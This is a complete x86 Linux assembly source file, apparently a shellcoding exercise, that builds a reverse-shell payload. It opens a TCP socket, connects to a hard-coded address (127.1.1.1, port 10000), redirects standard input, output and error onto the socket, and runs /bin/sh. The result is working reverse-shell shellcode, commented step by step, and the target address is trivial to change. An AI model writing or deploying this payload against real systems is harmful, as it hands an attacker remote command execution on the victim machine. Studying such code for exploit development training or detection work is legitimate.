section .text
	global _start

_start: 
	
	; socket(int domain, int type, int protocol)
	; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)


	; Create a socket - executing socket system call
	mov eax, 359				; sys_socket = 359 - asm/unistd_32.h
	mov ebx, 0x2				; AF_INET = 2     - bits/socket.h
	mov ecx, 0x1				; SOCK_STREAM = 1 - bits/socket_types.h
	mov edx, 0x0				; IPPROTO_IP =  - netinet/in.h

	int 0x80
	
	; ebx will have the file descriptor of socket
	mov ebx, eax

	
	; connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
	
	; connect(ebx, ecx, edx)

	; struct sockaddr_in {
	;	
	;	unsigned short sin_family;
	;	unsigned short sin_port;
	;	unsigned int s_addr;
	;	char sin_zero[8];
	; }

	
	mov eax, 362				; sys_connect = 362, asm/unistd_32.h

	push 0x00
	push 0x00
	push 0x00
	push 0x00
	mov word [esp] , 0x2			; AF_INET - 2 bytes
	mov word [esp + 0x2], 0x1027		; htons(0x2710) - 2 bytes
	mov dword[esp + 0x4], 0x0101017f	; IP Address - 4 bytes
	mov dword[esp + 0x8], 0x00000000	; memset(8 bytes)
	mov dword[esp + 0xc], 0x00000000	; 

	
	mov ecx, esp
	; ecx now has the pointer to sockaddr_in structure

	
	mov edx, 0x10
	; edx = socklen
	
	int 0x80

	; connect done

	; dup2(sockfd, 0)
	; dup2(sockfd, 1)
	; dup2(sockfd, 2)

	; dup2(sockfd, 0)
	mov eax, 63
	; ebx has sockfd
	mov ecx, 0x0
	int 0x80

	; dup2(sockfd, 1)
	mov eax, 63
	mov ecx, 0x1
	int 0x80

	; dup2(sockfd, 2)
	mov eax, 63
	mov ecx, 0x2
	int 0x80

	
	; execve("/bin/sh", argv, 0x00)
	xor eax, eax            ; Set eax = 0
        push eax

        push 0x68732f2f
        push 0x6e69622f

        mov ebx, esp

        push eax
        push ebx

        mov ecx, esp

        xor edx, edx            ; Set edx = 0
        mov al, 0xb             ; Set eax = 0xb
        int 0x80

exit: 
	mov eax, 0x01
	mov ebx, 0x00
	int 0x80
